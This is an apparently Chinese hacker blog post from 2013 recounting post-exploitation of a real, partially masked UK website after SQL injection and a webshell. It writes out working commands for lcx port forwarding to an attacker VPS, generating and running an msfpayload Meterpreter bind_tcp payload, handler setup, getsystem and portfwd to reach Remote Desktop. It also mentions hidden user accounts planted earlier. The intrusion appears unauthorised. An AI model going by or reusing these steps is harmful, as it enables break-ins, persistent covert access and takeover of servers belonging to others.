0x01 前言
Date/time:2013年,早想写这篇文章了,由于最近一直很忙,拖了半个月才抽出时间来写,这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法,在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access,一个很普通的SQL注入漏洞,这里就不详细写了。
基本信息探测:
- 目标站点:http://www.fo**ox.co.uk
- 服务器IP:2*7.6*.3*.1*3(英国)
- 环境平台:ASP.NET
- 服务器系统:Microsoft-IIS/6.0
- 端口开放:21、80、135、443、445、554、3389
- 补丁情况:服务器系统打了450+补丁(32位系统)
- 脚本探测:支持ASP、ASPX脚本,不支持PHP脚本
- 磁盘权限:C、D、R、S盘里部分目录有可读/写权限
0x02 bind_tcp实战应用过程
(1) 前期测试由于目标处于内网环境,不能直接连接3389,常规思路就是利用lcx等工具把目标的3389端口给转发出来,然后再进行连接,在C:\Inetpub\目录上传一个cmd.exe和lcx.exe,执行命令如下。
首先VPS机器监听51端口,连接用1234端口:
VPS机器执行: C:\>lcx.exe -listen 51 1234 目标机器执行: /c C:\Inetpub\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 3389
执行转发后发现3389端口还是连不上,我们本地机器执行的监听也没有接收到任何返回的数据,用netstat -ano命令查看了下目标当前网络连接状态如下。
TCP 2*7.*9.*8.1*4:3781 1*3.2*1.*2.*1:51 SYN_SENT 4636 TCP 2*7.*9.*8.1*4:3782 2*7.*9.*0.*2:1433 TIME_WAIT 0 TCP 2*7.*9.*8.1*4:3783 1*3.2*1.*2.*1:51 SYN_SENT 500 TCP 2*7.*9.*8.1*4:3786 1*3.2*1.*2.*1:51 SYN_SENT 1380
TCP连接为SYN_SENT状态,被拦截了,没有建立完整TCP连接,所以还是无法连接3389端口,如果是完整TCP连接就会变为了ESTABLISHED状态,出现SYN_SENT状态的常见三种情况。
- 目标机器不通外网(除80端口以外的任何端口);
- 目标开启Windows系统防火墙并设置了出入站规则;
- 公网IP的监听端口没有在路由器设置端口映射规则;
当前问题:
不能通过lcx等常用端口转发工具将目标机器的3389端口给转发出来SYN_SENT,猜测应该是开启了Windows系统自带防火墙的原因。
解决办法:
利用MSF工具里的bind_tcp正向连接生成一个EXE攻击载荷, 得到目标会话后在Meterpreter中使用portfwd命令进行端口转发即可。
注意事项:
可以先用MSF的reverse_tcp反向连接,如果被拦截后再尝试更换端口80、443、8080,这几个端口很少会被拦截,因为我们经常要与这几个端口进行通讯,所以基本很少有人会在防火墙里设置这几个端口的出入站规则,但有时也会出现个别例外情况。
(2) 实战应用
在我对目标进行测试时发现reverse_tcp反向连接的大部分端口都被拦截了,这时可以尝试用Nmap扫描目标机器状态为closed的端口来进行bind_tcp正向连接,只有状态为closed的端口才能进行bind_tcp正向连接(感谢@烟神大哥给提供的新思路)!
注:状态closed为端口关闭,但数据有到达主机,只是没有程序在端口上监控,但是它们随时都有可能开放,也有可能是目标防火墙把某些对外开放的端口给过滤掉了。
通过Nmap扫描状态为closed的端口有:25、53、110、113、7070,接下来我们使用bind_tcp正向连接来生成一个EXE攻击载荷文件,命令如下。
msfpayload windows/meterpreter/bind_tcp LPORT=53 X > /root/Desktop/test.exe
先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,命令如下。
use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/meterpreter/bind_tcp //设置攻击载荷 set RHOST 2*7.6*.3*.1*3 //设置被攻击外网IP set LPORT 53 //设置远程监听端口 exploit //exploit执行监听
将必填的配置选项完成后,执行exploit命令进行监听,然后在Webshell执行C:\Inetpub\test.exe载荷文件,如果成功的话就会返回一个bind_tcp的Meterpreter会话。
注:当我们在Webshell执行test.exe载荷文件后,目标机器就会开放一个53监听端口,并等待我们去连接。这里不管我们本地是内网还是外网,用bind_tcp正向连接时可以不用去路由器里做端口映射,因为是我们主动去连接对方目标服务器的53端口。
测试了一些常用命令,有的能执行,有的不能执行,还有的执行后就断开了会话。出现这种情况应该是被目标机器里的反病毒软件之类的东西给拦截了,比如我们执行的getsystem命令,返回了以下错误。
meterpreter > getsystem [*] 2*7.*9.*8.1*3 - Meterpreter session 3 closed. Reason: Died [-] Error running command getsystem: Rex::TimeoutError Operation timed out.
注:记得半个月前测试的时候都可以执行这些命令的,可能是管理员又做了什么安全设置了吧,这台服务器的管理员已经做了几次安全了,这次看来是不行了,就先不管它了,下次有时间再来测试下吧。
不过还好以前创建的隐藏用户都还在,那么我们就直接使用portfwd命令进行端口转发,命令如下。
meterpreter > portfwd add -l 1234 -p 3389 -r 127.0.0.1
执行完端口转发后直接使用BackTrack5下的rdesktop客户端程序去连接目标的3389端口,命令如下。
root@devil:~# rdesktop -g 870 127.0.0.1:1234